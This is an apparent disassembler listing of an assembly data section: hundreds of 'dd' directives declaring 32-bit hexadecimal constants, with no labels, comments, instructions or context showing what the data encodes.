		dd 4462CCh, 0EC2D0999h,	0C7DA58h, 968FE024h, 1A48A7E2h
		dd 8E976E3Fh, 7D738C45h, 38FCFB42h, 653D4018h, 0DE60087h
		dd 61A920C1h, 3613B5B4h, 4041A4E1h, 0B1BD66B8h,	368B9C8h
		dd 6BD476A8h, 5CD879A7h, 31006DA4h, 3872A060h, 1473A35Fh
		dd 0CA25E1Fh, 0B536D003h, 804BFDCh, 13903306h, 30B63080h
		dd 0D5680B4Bh, 0AC90B43Bh, 0EE710D26h, 56125D01h, 0B9FFC20Ch
		dd 70D0029h, 0E12870A2h, 3320E032h, 3E14DB00h, 7E3B5B39h
		dd 47721FDCh, 0CBF34037h, 73C676BDh, 0A4E8702h,	51E5F40Eh
		dd 6BA00338h, 0F2E01268h, 0EE0611A5h, 0EC869057h, 0BB1D0320h
		dd 452F68B4h, 0A89FC798h, 0B6811094h, 0F2021277h, 111050AEh
		dd 4D03D274h, 8BCEAABCh, 92A4C045h, 335A3877h, 0CB6B3C80h
		dd 5B73F797h, 10601094h, 5010EDBh, 69718CF1h, 49A1C043h
		dd 20009608h, 0D8D53692h, 179E86Eh, 78B51426h, 0F498D2E3h
		dd 8800248Ah, 676960EBh, 0B4DAE8Eh, 7554C822h, 3ABFA080h
		dd 3101B317h, 6DB7DF3Fh, 21309579h, 0DCF40060h,	0C90E3CE7h
		dd 26002DAAh, 0FC28EF07h
		dd 0A099D765h, 4A0AEFh,	643C3D87h, 20BE4CEh, 5CA60907h
		dd 0AE51F6FEh, 4FF05E27h, 8D84C00Ah, 542666FFh,	701A7100h
		dd 2E35687Eh, 610500B8h, 0AE52FEBFh, 0BB98F432h, 51D3390Ah
		dd 6E00A0ACh, 218FFA04h, 46B34C47h, 37E16C00h, 7234D688h
		dd 4CE67D01h, 1093BE8Ah, 41E05CD1h, 0D9CE0045h,	817EFBDEh
		dd 78909F2Fh, 0AB620F0Fh, 0CC1C12B2h, 0BBEEB780h, 0AA16B0h
		dd 1AFE9D6h, 1B7EEF8Bh,	9A2CA200h, 2ADF094Ah, 0B976079Ch
		dd 20610C60h, 40566872h, 8FBFD12h, 73807481h, 103D1FCDh
		dd 4185DE00h, 69421D50h, 6B5D5D75h, 0C0130314h,	339212Dh
		dd 0B009A111h, 29A8123Ch, 0FE1ED089h, 50007A43h, 8222EB7Eh
		dd 0D98600F1h, 7F79D11Dh, 0DC004B97h, 81FA6E4h,	782F3Fh
		dd 0A40602F1h, 197A6C93h, 6E59D700h, 0E2F63B7Bh, 320B043h
		dd 58C8379Ah, 8BA03A9Fh, 0C6004283h, 2E75FFA5h,	2C4D67h
		dd 0F8A84C59h, 28BEC390h, 743C49h, 6407E59Ch, 295F3Bh
		dd 84358B4h, 2BADB3CFh,	0B88B1600h, 95E33819h, 16C0ED1h
		dd 330E5CA0h, 90C206C4h, 74A29BA4h, 8A32800Fh, 9509872Ch
		dd 213EB7B0h, 7C0503A5h, 0F16203D5h, 0B00C30F7h, 8E01EE7Bh
		dd 44B5E382h, 0B46055FAh, 0EA610C89h, 8448F2D7h, 0AE50B42Ch
		dd 6D9ECB01h, 0FC335E6Ah, 7E634A00h, 88A7CE98h,	94550800h
		dd 1513858h, 4477D8h, 1C203C19h, 5FB28935h, 6A01C379h
		dd 7B6403E5h, 0C2CC46FDh, 67D2008Dh, 822BBE70h,	5A01B734h
		dd 0BC09970Eh, 0C2C50F3h, 538FC73Dh, 4789FEAEh,	81B99883h
		dd 5012C5D1h, 83AC9CF8h, 94CE691Eh, 0DA718980h,	2E1F0A38h
		dd 28D07FA6h, 0CD9C002Ch, 9BD136CBh, 40006C96h,	3441A998h
		dd 72956F22h, 76BF047Fh, 0D048622Eh, 0A488BD64h, 0E893DB00h
		dd 0F7C46570h, 29F238F6h, 4734BA8Eh, 0E6E3EA0h,	71016303h
		dd 5ACF1A79h, 0FC6045C7h, 942200F2h, 73D4346Fh,	937060A7h
		dd 0B9FEAF98h, 0CD263304h, 5890ACB3h, 14215742h, 0A01E4BEAh
		dd 0F43E6D03h, 0F29805C8h, 0E5604658h, 0AAC2A6A0h, 72FF054Ch
		dd 0E0651DC6h, 7D0A6CA4h, 8C16F966h, 57A88080h,	0B83BEF27h
		dd 54F60096h, 0C6D3F3EBh, 4000E253h, 77AE661Fh,	0F98E92C3h
		dd 1000382Ch, 6087BBFEh, 8300BCC2h, 1291DD6Ch, 6258DBh
		dd 0A2731FB8h, 8A1BD78Dh, 43AB7715h, 0E31D0798h, 0D7BACAB1h
		dd 2DDBC900h, 0B06A58B6h, 3D779Ch, 43CE927h, 6B57E726h
		dd 34ED231Fh, 4A08B5C2h, 85A261F6h, 89A3B443h, 0AB2074DDh
		dd 2A7300FDh, 735160Ah,	0B0045D8h, 5749C97Fh, 5F5453h
		dd 0CC130493h, 82997C3h, 0F40B8703h, 0C0A74E9Dh, 56D5CD0h
		dd 807D28CBh, 3C7FC0D3h, 0E1908981h, 0BF56E58h,	821D5904h
		dd 0C00FD7A4h, 0F6D5D865h, 388A0EB8h, 558EC79Fh, 0FE060300h
		dd 89E8979Ah, 6964D300h, 4CD6187Bh, 91C776Fh, 0A9E41F5Ch
		dd 0F5D060B8h, 7FC90C00h, 9E3B8960h, 349905ECh,	0B1FD4C1h
		dd 906880A0h, 2D0961F3h, 60B29042h, 9EF0848h, 0DFA1D8D7h
		dd 50A7A843h, 2B364643h, 91DAF00h, 391B0459h, 0C4558AAh
		dd 350F6205h, 40D4528Ah, 32205284h, 3700BBB1h, 73A72A81h
		dd 25687A51h, 0B7C0D2A0h, 0CA009254h, 950E6215h, 0A86CD82Fh
		dd 0F79F1F0h, 3CF4A7C4h, 1C5C6621h, 80A0BCA3h, 3404B743h
		dd 604DA2FBh, 41EEB9F6h, 9C0F1EC8h, 0F7E7C582h,	0CC407485h
		dd 0AB566635h, 0DB9007E3h, 0DED2E794h, 37B828E0h, 7A30E2E0h
		dd 0BDB24885h, 77671287h, 5F340075h, 586C9E48h,	74DC3B02h
		dd 80FE9D2Bh, 0A129E08Ch, 22D8006Bh, 0FC0CE160h, 1A00B4C9h
		dd 69305DA6h, 0CF07ABh,	59029F72h, 2D2EFB27h, 47515600h
		dd 81D88F54h, 5DD10052h, 0F65A1DA9h, 0F0EA133h,	2CFE5F4Ah
		dd 0BC284Dh, 2BE8F271h,	709E97D6h, 516B8400h, 0ACED041Fh
		dd 28CA008Fh, 32194FAFh, 5009710h, 6D11B869h, 181BB6h
		dd 0EA4E9F9h, 9C6F688Bh, 485C3307h, 0A6C01D96h,	94106Ch
		dd 63084C85h, 73FCCD57h, 9E43AA00h, 0E2B0D6CEh,	0C9D00071h
		dd 374819E4h, 8105A090h, 703F43EFh, 41041CC0h, 206904F1h
		dd 0A04D13DEh, 32005ED4h, 8C64B5BCh, 0DBA71Ch, 0AFE2FAEFh
		dd 0C40D8A15h, 81085A00h, 293A2E14h, 0FC9507DDh, 0B0CA65DBh
		dd 8BA6A58Dh, 7D4ED700h, 102B269Fh, 695F00ACh, 974B830h
		dd 8804F527h, 0BA1A3889h, 0CF8B0E1h, 5695008Bh,	0E5D4B319h
		dd 0BC00CB65h, 17086896h, 6EC8F3Fh, 2C16D789h, 0C200A088h
		dd 220E4637h, 1BC35D1h,	0CFCDA15Bh, 0D2E8EBE0h,	0BEAD7C68h
		dd 8965D92Dh, 4E180035h, 0E47CB3EDh, 1EFD0054h,	9E99B06Eh
		dd 420080A3h, 458BAE9Dh, 8487AAh, 787BA649h, 7F82A94Eh
		dd 7EA34750h, 0D3640CA0h, 547D7918h, 251E2B08h,	0AC347497h
		dd 0BF682505h, 1048B23Bh, 1DCD10D7h, 520675EDh,	1EC0D460h
		dd 111A5ECh, 0EFE37D35h, 7820AEEAh, 0E8B09760h,	0F2261C4Bh
		dd 32AD80EEh, 9FC74173h, 14EEE07Ch, 5A3FACB8h, 69F4815Eh
		dd 5B765136h, 17045F8h,	137368C7h, 34EEF81Fh, 0B3503BD4h
		dd 22095230h, 0F7AA530Eh, 0F220D202h, 44D31480h, 0B903C7C4h
		dd 5F8BCD9Fh, 51FFE8CAh, 86F041h, 33AD95D5h, 0BDAAB0EDh
		dd 9A122900h, 34818A4Ch, 7265012Eh, 25F26E41h, 5CA0D740h
		dd 19726650h, 30004BF2h, 0C98DEFBFh, 3FDB4C6h, 576DC8B1h
		dd 47B25BAFh, 0FE8FE0F7h, 335C014Ch, 17E7C45Ah,	3014212Ch
		dd 6B00A56Ch, 66D84171h, 0C0E9B4C8h, 0C92546B8h, 0DC0EF6C1h
		dd 604E807Eh, 5B5DFA30h, 90B700E4h, 1768D705h, 841E187Ah
		dd 0D880DFF0h, 1A436C26h, 0CF865858h, 32BCA400h, 4102FB71h
		dd 9B602B04h, 4B835BAh,	67F8EE02h, 0B8C9FFB4h, 221AFC87h
		dd 0A69E0800h, 48408B1Dh, 64145CCAh, 0D3874401h, 7C7BA76Bh
		dd 78E40024h, 2DECBEA9h, 0FCE800D4h, 0B4BA0595h, 20E3DBC6h
		dd 6E60A2D4h, 0B72C1BE0h, 5BFB00FAh, 8130063Bh,	29000CCEh
		dd 0FDCF4B14h, 30D0C20Dh, 0F606BD31h, 0EE3FA440h, 80280C7h
		dd 7C34F43Fh, 58A5004Dh, 0C24CF1E3h, 8F00D60Ah,	0B7EA28D9h
		dd 1623AFh, 0A9119610h,	80CF4CD7h, 68401B00h, 1DEB7A67h
		dd 0A724009Ah, 0BEFCF049h, 0C8172A79h, 58000713h, 0EC910342h
		dd 1C5D0235h, 0F8A876E6h, 79867AE0h, 62597C13h,	0C0642CC2h
		dd 25731E59h, 88045390h, 0CAA20024h, 0B07E2AC7h, 13E27D10h
		dd 576B911h, 0A1176CC2h, 6C7EED30h, 90922D04h, 261A08h
		dd 589E27D3h, 0BEC1BFF7h, 0EE20E107h, 0A530DDACh, 51C5BBh
		dd 0F0D610ADh, 2C4A503Ah, 3C7E2Dh, 0AAEBD4E4h, 0E0CC001Dh
		dd 6D1933ACh, 5005296h,	7EF90CB2h, 7224534Ah, 0BB470910h
		dd 0A05093D4h, 0DC00377Dh, 0EF35D349h, 2162C9Eh, 0C994FBE3h
		dd 90802427h, 0EDAB199h, 3B2852E8h, 0EE0C8847h,	204D765Eh
		dd 35CB2DDEh, 1824F423h, 5A00087Ch, 3BC191ECh, 88FED7h
		dd 5C68BA40h, 101EAE96h, 1A9C3E1Ch, 9AE38E40h, 3F60D04Fh
		dd 3CC8EC27h, 29666300h, 0A574B3B9h, 36F73312h,	18EF5C22h
		dd 280114C1h, 0C01FDF1h, 12D4F9C5h, 0B4AF79C7h,	957000ACh
		dd 9FC3111Fh, 1A067701h, 76D137DFh, 0A6C1002Bh,	8F4339D2h
		dd 0A119FE00h, 0B2131C6Eh, 0CD91014Eh, 0A4731F9Ah, 0BAAB60F2h
		dd 300E298h, 4C6E789Eh,	26235E42h, 18C675h, 1DBB56C1h
		dd 81E4E26h, 0B292FE6Ch, 7E54F0h, 60EEBFADh, 0C46BD980h
		dd 0F904CD2Eh, 5FD73E00h
		dd 1C9DB4Fh, 9881C6F8h,	0C0E0AC72h, 0E81F55A9h,	0F4C9B05Ch
		dd 8D67006Ch, 76B598h, 0A1D093B9h, 47BF0FABh, 0C8306728h
		dd 0B000D4EEh, 76EBC6D9h, 0BA04CC2Eh, 300D5E84h, 9861EE60h
		dd 0A1B6E400h, 0E3C6A432h, 0EF360038h, 10B9D1C3h, 1300EC4Dh
		dd 637D9499h, 2F42B4h, 96269DAFh, 0F3A61DC8h, 0A433F900h
		dd 4E9FCD86h, 0B82201EBh, 118F7A03h, 0D3F6CCE9h, 53A96600h
		dd 0BDD1BEB5h, 0D02A382Eh, 804DE31Fh, 0EE1A2C4h, 57984185h
		dd 7969800h, 80E6F316h,	1338C0ABh, 62DAAAE7h, 754A7800h
		dd 0BE467989h, 65550287h, 0FF2E6AD6h, 0BF027FE0h, 28C6A600h
		dd 6B971F85h, 0F35338FEh, 0AEB65081h, 9CDA2C5Ah, 0BF47F830h
		dd 0F4B09B52h, 0A5E73h,	8783FEDDh, 7201C13Ah, 60005877h
		dd 98D0D73Ch, 0D4F637h,	938FBF35h, 5B84F831h, 388E7C00h
		dd 90A7BCE5h, 48A00D9h,	0D7DEE90Bh, 9D00B1A2h, 38502DC7h
		dd 76479639h, 2872001Bh, 0C3881706h, 4EEFE3Ah, 372DE900h
		dd 9009FC2Fh, 0A0BD009Dh, 880CA5FFh, 3200AA57h,	6B36867Eh
		dd 35F28Ah, 120F8D96h, 705F6E1Ah, 80EF9438h, 0A0CD8B03h
		dd 24842E43h, 13534Fh, 0B0BD54EBh, 0CC0A0210h, 0BCEDE664h
		dd 0D271AE00h, 4EC1F91h, 1D6AE097h, 0B946C082h,	5009D28h
		dd 765B697Dh, 0BF368Bh,	55C24A77h, 0E06A370Ah, 0C0DF201h
		dd 99317322h, 9D5CDC41h, 486CEF64h, 77000751h, 0D492162Dh
		dd 12006532h, 0ECE1BFB3h, 74C8C4h, 22DF4C08h, 0F2B0F63Bh
		dd 1E9053Dh, 9E81A8F4h,	19306A1Ch, 49222h, 0C85E81Bh, 0B84CDFD0h
		dd 0C7B11300h, 2A5099C1h, 2EF035h, 0D6AD0C62h, 0D5A60DF8h
		dd 3109E524h, 23533700h, 0A826C3h, 9DED1A7Fh, 7BE3FE3Fh
		dd 177D2F00h, 2C5DB973h, 0A0E060F8h, 53D3D5A0h,	661D377Eh
		dd 0E580D468h, 0F6E8AD1Ch, 9F130019h, 78A755B2h, 2A0A6E32h
		dd 0D093C2A2h, 17709783h, 14FFE018h, 0E51B004Eh, 1A582AE0h
		dd 433F7EAAh, 9A73022Ch, 808EA6E8h, 24FC3FF4h, 0C76D00CCh
		dd 94CAE155h, 84007623h, 0FDD22E18h, 0B87ED20h,	7147445h
		dd 2F096100h, 60001858h, 6D2857F1h, 733C17F0h, 0A4D60002h
		dd 0FC5655EBh, 0EE2E71EAh, 370712EFh, 7570997Eh, 0E497B42Ah
		dd 0B25D00E6h, 570C7DA4h, 0AD0061CEh, 0B6D8C478h, 58176A9Ah
		dd 7340F0h, 726F99Ch, 0D781B97Fh, 9FA9A700h, 5E54E0BCh
		dd 0F94D0041h, 7A116F28h, 0D91C81C2h, 3180C756h, 430C4026h
		dd 3872F4B7h, 0CF009261h, 972463D2h, 0BE00546Ah, 702CE86Ch
		dd 2E5E0Ah, 0FD383CACh,	0F232AFA2h, 369BAE1Fh, 951E8480h
		dd 49BBFB9Ah, 66873461h, 6585113Ah, 4360E824h, 963E2700h
		dd 3B1A295Fh, 83330104h, 5AA5E8CEh, 6830DCAEh, 0D8481400h
		dd 0DA272B87h, 7647009Ah, 97EFDFDCh, 80FB84Ah, 601DE8FBh
		dd 69252B82h, 0D14C0049h, 933F139Fh, 0E900A6DBh, 0C6EBDF7Ch
		dd 1DCE062Eh, 0D2FCEEF8h, 0EC3F00D0h, 7042255h,	90382890h
		dd 0A8118084h, 54C86EBh, 959F075Eh, 0F19C5D1Eh,	0D4934A01h
		dd 970F46FDh, 6149FA99h, 9148E39Ah, 0F87F0C40h,	4F6B3093h
		dd 0ADB23D08h, 0A6C72412h, 1825B040h, 6A545D8h,	0E33B70DDh
		dd 0E70E18EDh, 821238F4h, 87806D1Ah, 0D8A42F18h, 0D657C8D0h
		dd 55A41D46h, 867D0FFEh, 38C0E7AFh, 6D82E44Dh, 92FC501h
		dd 8760DCF9h, 783E0h, 6FCA1AA0h, 0A843D7D1h, 58742C00h
		dd 0ED8B78A5h, 0C67205B6h, 53C2FF8h, 40A77434h,	0DC7D5B90h
		dd 7A00067Fh, 8BF8C801h, 0C0D89E60h, 0DC968D21h, 65374325h
		dd 0C9B0FCh, 157D58Bh, 3F4C00EBh, 0A5C79E98h, 0A400EF3Ch
		dd 0D849950Ch, 9075CAh,	10842BABh, 0EC93A8EBh, 438B3600h
		dd 681A0A37h, 8ADB00CFh, 0FBAEC198h, 3A01B477h,	0C402FF5Ch
		dd 0FF19B2h, 65ECCCB1h,	460655A8h, 96DFC33h, 2C210030h
		dd 0BA446514h, 6DE0D123h, 0EF876600h, 0FBAA4E63h, 0E7C70EF7h
		dd 59ECBB77h, 48CB561h,	55A565E9h, 20E762EEh, 0AF65111Bh
		dd 0C7A38400h, 5A8D6396h, 3D88A8F5h, 0E7608h, 538932BFh
		dd 0FDD53F1Bh, 0AEA03AF9h, 0A5C206B7h, 301D95A3h, 7F016077h
		dd 1250685Fh, 4980F947h, 6785FADDh, 6C00E64Ah, 0C9593688h
		dd 0C7D91999h, 413AEC89h, 8FC1FB51h, 408AE411h,	0DCE55B24h
		dd 94366D8h, 40021D7h, 1AF3AB2h, 155529FDh, 88E58E75h
		dd 0F97B6F08h, 5677EF03h, 0FD181EDAh, 0F2570630h, 0D80410E9h
		dd 0A5BC2BE0h, 0AB425893h, 0A4E7F09Bh, 0FD2FFE38h, 404D0893h
		dd 9BADE5E0h, 70195B8h,	0E74D779h, 0DBBCF3h, 97A1F121h
		dd 0A0AB5AC0h, 7F452406h, 3088C26Fh, 0BFB9D2F4h, 33AC4EAh
		dd 0AE7F816Dh, 30F7210Ah, 1F6F85ECh, 42B4548Ah,	0F847EC0Dh
		dd 0AB84A0A0h, 0CA041E26h, 923C4A1Bh, 23F36080h, 72C0A1CDh
		dd 7256B9E4h, 0E66505F1h, 82D05D79h, 0F5E062B9h, 150273B1h
		dd 6948725Fh, 64C480D9h, 3220E1h, 0AD282F33h, 0C3B8A2BCh
		dd 8BBD4300h, 0BF5CB2B9h, 0C03A0320h, 0AC4A06EFh, 0B7C291C7h
		dd 0F614C855h, 293C0900h, 0AA34C165h, 1CFC0367h, 93B46D40h
		dd 0F3687600h, 0C11AA311h, 523E002Dh, 7AF2FED2h, 5A00FBA6h
		dd 3F57A89Ah, 0C7EDD1h,	4D42CA18h, 34E4608Fh, 0B3AE0E0Fh
		dd 0B4D440FBh, 4C6124h,	63BCDA87h, 0FDED16F4h, 0EE040300h
		dd 55ADEF49h, 793794Ch,	0D09F35CCh, 78CAB4Dh, 0D37FB308h
		dd 0D700A878h, 36049B75h, 17B7E90h, 0F670FF65h,	0F0378DAEh
		dd 0EE1D0B38h, 0C99DBC31h, 171083BBh, 90906399h, 87344Bh
		dd 923888D7h, 12A149E4h, 752F6E00h, 970FA3CFh, 5C8B394Ch
		dd 0B2980280h, 68925981h, 67FC8570h, 0A6D4F4FDh, 0B890B600h
		dd 0EDF02F04h, 6DF30013h, 3975B47h, 5003ECEEh, 61F1C69Fh
		dd 0D5A5C8FAh, 0BA7B8Dh, 0DC0BFC1Bh, 0E51686CDh, 0C78CA118h
		dd 83F328h, 0D948385Ah,	6B97A8DCh, 5D9D2600h, 0E3DB623Ah
		dd 3B22E269h, 170C2B7Fh, 0C838E8E5h, 9C49AC3Ah,	0E28056C3h
		dd 0C61B6BD7h, 0CDA40076h, 0D872C999h, 8905D94h, 8B9B9C00h
		dd 6286ADF7h, 4EFF017Dh, 0E4C158D1h, 6006E46Ah,	58F7400h
		dd 77D70898h, 59B600DFh, 8C8123BBh, 4100FC38h, 0FB690CA6h
		dd 7F455EAh, 0B521F634h, 80F84DFDh, 5F28F899h, 6FFA8A4h
		dd 0D728D6Dh, 663E096Ch, 0D073004Ah, 0C8359402h, 0B7B8C0h
		dd 23DAED61h, 5CDBF585h, 0EA163Dh, 0D6C6940Ah, 0B84F9Eh
		dd 0A6ABC25Eh, 36841226h, 738B5500h, 0BAE36122h, 7B030047h
		dd 0B9B43408h, 1C141989h, 0A4BDBBh, 0B57FBBFh, 2883CBh
		dd 80FEDE3Ch, 234D431Dh, 72DB6103h, 380B7Eh, 0AE27B97Ch
		dd 0DCB3C7BFh, 914B8F07h, 8981A471h, 3F30FB59h,	0E32300CBh
		dd 0B618C5Dh, 86006F57h, 10E42913h, 1C5844E6h, 0C0E9A077h
		dd 1AE5B096h, 7D00BC6Ah, 0E23A8CACh, 1DF7759Eh,	284CD523h
		dd 0D79D3ED0h, 2509F08Ch, 0FB19C148h, 18B83D8Dh, 7CE98F70h
		dd 25F80C26h, 53B84F3Bh, 0B3E80900h, 958C1564h,	0C62718B7h
		dd 775E28E1h, 0F80AD007h, 0FEA32ABAh, 0F3D4F8BDh, 902900D6h
		dd 0DE13AF9Dh, 28006AC8h, 4588F2FDh, 12EFA8Dh, 3D6CAC76h
		dd 0C0560B71h, 5E3FF8C2h, 0E06912EEh, 0A2C73400h, 92F74F12h
		dd 14E4583Ch, 58081300h, 32ED8223h, 11E04967h, 0F5668098h
		dd 90E49B2Bh, 8D9F0400h, 43F93951h, 8A74CCh, 0B75A3D60h
		dd 4A21F274h, 0F64E6800h, 0C5D5AD9Bh, 0BD970F5Fh, 35800566h
		dd 4280CA88h
		dd 0EC078575h, 7F5B2251h, 1F1B4190h, 0EFFC00F1h, 62BF748Eh
		dd 576A35Ah, 800DEE8h, 0B195AD49h, 0BF413h, 0C6C5832Ah
		dd 6460DDA4h, 182748h, 28990CEBh, 164DE1h, 17374570h, 79F71B5h
		dd 6593B200h, 68015E8Ah, 929D00B4h, 4A18EE44h, 9C00BC78h
		dd 0ECE216Bh, 3563B48h,	2F3C7A8Bh, 86A8B938h, 4E00A3AFh
		dd 0C66A518Fh, 135E4519h, 0B91E4h, 0AEEB71D8h, 0A4012D18h
		dd 1D3A1F7Ah, 6424E89Ch, 0E35C0056h, 0A4CCAD22h, 460FBB0Bh
		dd 0E213DE57h, 400DFCE9h, 0C49F488h, 7BB5A208h,	7600E210h
		dd 0AF6A71B8h, 781C444Eh, 0B4A46Bh, 4BB32A86h, 618EFC5Ah
		dd 0BC4D830Fh, 2400523Fh, 0ACC915B7h, 99C0078h,	0F8E2756Fh
		dd 0D6015FFBh, 694CD16Bh, 0A1808476h, 0F9FEA19Eh, 0BB1C70C5h
		dd 62008B28h, 0B66C6720h, 60460086h, 0B83E1E3Ah, 130099B3h
		dd 1D4F33E4h, 12E939DBh, 52B6EBh, 95626DC3h, 8A00FBC9h
		dd 0BE55CBD3h, 1B1A978h, 1239E7FDh, 0E86DB222h,	9A0045D0h
		dd 24FBDFAh, 2C63331h, 0EEACB4E9h, 1FE39BE3h, 741F1CA0h
		dd 0A4D2AF07h, 881058C1h, 32E142Bh, 50C4D02Dh, 61C07A3Dh
		dd 0FE0094B7h, 0DB06387Ch, 6BA2B73h, 2AFFC4F3h,	643EE091h
		dd 0A63C004Fh, 0CEA27854h, 68F55C26h, 1375E678h, 1C55930h
		dd 635A1978h, 6E3B7023h, 50AEA260h, 0E29C657h, 9581488Ch
		dd 8DF06A40h, 0B000D275h, 0F5C93553h, 191EC60h,	5A6B02DAh
		dd 0C0771530h, 9D0704ADh, 0E1896548h, 0B5207BC0h, 74300007h
		dd 0F5B0B8EFh, 787EF888h, 2EB866EAh, 6C89AC00h,	0A03C46F6h
		dd 20F00044h, 496A05CDh, 7701925Dh, 37CBB0E0h, 90FF9B74h
		dd 0EE690B39h, 25AF0055h, 71ED0947h, 7C009C63h,	4399AE9Dh
		dd 0A3A6C5h, 52DDF3FBh,	4BABAF8Ah, 2218950Fh, 4F4AC03Dh
		dd 1D971E39h, 0F4729Fh,	3687B9Dh, 8003562h, 0CA732A32h
		dd 24CEBA16h, 7D51156h,	0B0A8F491h, 0BC0487FFh,	788E471Ch
		dd 0FD17084h, 0FDBB24D1h, 787CC1DCh, 0C2550527h, 90BE62CEh
		dd 673C034h, 76C15B00h,	5A8FB009h, 0B5640005h, 0B44F0247h
		dd 4E340B58h, 0E80198Eh, 0C1B269E0h, 0F9F53B08h, 80C06045h
		dd 0E674A81Dh, 57A1D203h, 0DA810050h, 11614CDh,	0EC7EFC9Bh
		dd 0E338981Ch, 598420B7h, 0B2623A80h, 6CE256h, 79B73615h
		dd 0ECE65B93h, 8440950Bh, 3D8E80FAh, 1864878Ch,	41C9133Eh
		dd 0A13A9B31h, 70BB3091h, 303E7E5Dh, 0A921F024h, 0E2009998h
		dd 0FA1E7F8Fh, 0AE7B5082h, 0F5D81254h, 0A3CC4014h, 494331C1h
		dd 6114C074h, 1451A7h, 9B701DA0h, 10CF976h, 0A2AEBDDh
		dd 0C8A788E7h, 0CD002604h, 0BC9C9215h, 7504240h, 34C32591h
		dd 0AB3CE021h, 4E00DAC5h, 5B75F281h, 1A7255h, 82097A7h
		dd 74EE273Bh, 0CE66A900h, 0C761CF36h, 1F3C00CCh, 0ED4218E5h
		dd 0E60075E2h, 6A70DA31h, 73380C8h, 3F0E4971h, 15FFA039h
		dd 650F3543h, 84EE56h, 0AC5B4F10h, 7074E397h, 9B8C18ECh
		dd 934E827Bh, 0D45F0C04h, 0D8C0F715h, 31DB56E1h, 0B320746Ah
		dd 308C4711h, 0B9A5AD26h, 61C0B4AAh, 4E031452h,	3651B1DAh
		dd 830833D4h, 52CB7F21h, 94B892EBh, 0DB0124C4h,	95F5AC98h
		dd 70A23EDCh, 0F72001B8h, 9EF035B3h, 8381218Ch,	485D078h
		dd 1A287C3Ah, 1873222Ch, 0A5114417h, 0DE863D80h, 0FE0382F7h
		dd 0A7D83897h, 0BF2FA843h, 9827184Bh, 0FC821096h, 181B700h
		dd 0B378D09Eh, 509200D2h, 71C7F636h, 5C3BBEC2h,	0DABC8129h
		dd 48C4EF6Dh, 0E10330h,	9AF233B9h, 5891FE6Eh, 576AA61Eh
		dd 135F00B9h, 0E9180FA3h, 71681CC6h, 8D0681F2h,	0F0CD8442h
		dd 0D301BBACh, 0CA2EE75Ch, 5C44DA1h, 0E54F261Bh, 900B0EF2h
		dd 0FF30E320h, 0D80125BBh, 0C49A9183h, 8CF019C1h, 6D1A00CEh
		dd 802AC7FEh, 82031558h, 0FFDDAFBCh, 2F080EE7h,	0DB206B94h
		dd 250FE60Eh, 9E28B900h, 0B2531BC4h, 9972641h, 4704004Fh
		dd 0B6A9C715h, 893DD300h, 77C3C429h, 80FA4E16h,	54B9A0E9h
		dd 15EE0600h, 0CEC6E2A6h, 58EEA9h, 8C9161EDh, 750D9498h
		dd 0B3B0DB1Ch, 0D7DA7D40h, 37EF76h, 0BB73FEEAh,	0C60DB5CEh
		dd 6688770Ch, 0FC7812h,	0EA015CC8h, 3B1E05FDh, 0DD781F00h
		dd 0D9234A87h, 28176074h, 0A753BE8Ch, 0BC562400h, 0AE4A3384h
		dd 0ACCE000Ch, 0F51D2D91h, 0D0A0C94Dh, 510188B9h, 8C8F5292h
		dd 85C96A43h, 3F581AECh, 54003FD2h, 70053EE6h, 0C100A0DAh
		dd 0B26C7ACEh, 0CF719Bh, 437560D2h, 59C4AD02h, 0CD59A560h
		dd 208AE7h, 0F85B5CA0h,	0AC145F08h, 0D1EC2800h,	578991CAh
		dd 607CA5h, 0B250EFD2h,	557BDB01h, 3A09E860h, 0A4D13h
		dd 408BCBCAh, 0A65CBAE6h, 3D833Dh, 0FC6421B4h, 4B1AA5h
		dd 0B82CE8A3h, 537E6992h, 6297C600h, 0CE0CC54h,	6FE91C5Eh
		dd 0D8140494h, 3E958028h, 78E2653Ah, 55BCE700h,	0DAC2314Dh
		dd 0DF4000C8h, 5DFCEE59h, 3A0ED1F7h, 802EAC10h,	0CD13A119h
		dd 14AE0202h, 0F0EBE080h, 6120C4AFh, 127645DAh,	50BB0700h
		dd 472C4DB5h, 0E9C7006Ch, 0BF7F7ACAh, 8B3A0B66h, 0E6EE8120h
		dd 0D8ADACBEh, 281DF9E8h, 1D0F103h, 23EFC4A3h, 500CEC8Fh
		dd 298AD9A8h, 8362F002h, 620F2F7Ch, 0C61880B4h,	0E3598Ch
		dd 3A2C90BBh, 2486D653h, 3E714400h, 12FA203Fh, 9841149Bh
		dd 100B840h, 45A9477Ch,	1AFC29FFh, 0F12F5600h, 10DC8CCBh
		dd 4790517h, 0CC5E31h, 0F40B9FE8h, 6300FE4Ch, 498D965Dh
		dd 8975B9h, 0D637230Fh,	0D4E2AD78h, 40DC5751h, 0E72C4846h
		dd 0D3828000h, 9C4FCF61h, 0B0E60093h, 46A5183Dh, 27007A95h
		dd 590135D0h, 60E7A2FAh, 0DB14A055h, 0A37FAD89h, 0C8D888A0h
		dd 7E002C92h, 0B6AB738Bh, 1767C4ACh, 117CB3h, 0A54FB903h
		dd 997095FFh, 0AF854726h, 86E7A700h, 25CAD0Fh, 0CAC9DBC0h
		dd 4608E6Fh, 64396987h,	8BAC809Eh, 47382E3Bh, 0D2D4004Ah
		dd 68825277h, 16F0187Bh, 0F8FBB800h, 0C8551205h, 2C3C00E0h
		dd 6B400639h, 921279BDh, 5440F229h, 0C3C9C138h,	4F1C1D47h
		dd 0AFD42CCh, 0D60DA74h, 8B033068h, 77169CE4h, 0B523D006h
		dd 31C96361h, 8191DD4Bh, 0CC393055h, 1E59F200h,	0CB5A0657h
		dd 4E1338AEh, 0A4248500h, 0C32C9487h, 882EB42Ch, 72024400h
		dd 24A55C8Dh, 80C44903h, 97589274h, 201D1EB5h, 6500D93Bh
		dd 62EEA13Eh, 0E06D00E4h, 7FB677CDh, 1D0016FEh,	0A3E271A9h
		dd 1ED82DB7h, 0C2982CB1h, 5AE5DFF2h, 0F15D28C0h, 0BB39607h
		dd 0A5504DB0h, 1DE7C514h, 137447Eh, 0CB0E6E1Dh,	0E2DC50E8h
		dd 0C2EC7CDDh, 8A4E8314h, 4F6602C0h, 42770143h,	1FDC232Ah
		dd 11ADA9CDh, 0C554030h, 8F09E4C6h, 92016130h, 6B8C0C5Ch
		dd 0C00494F6h, 0E89DD33h, 82903Fh, 0CD4A5568h, 1AEE6Bh
		dd 0D651B88Dh, 2DCF6F57h, 581C8530h, 64E14Dh, 3E885DE0h
		dd 8391F36Dh, 0A6E6A300h, 27302F28h, 0B6F40CA5h, 88C0C6A1h
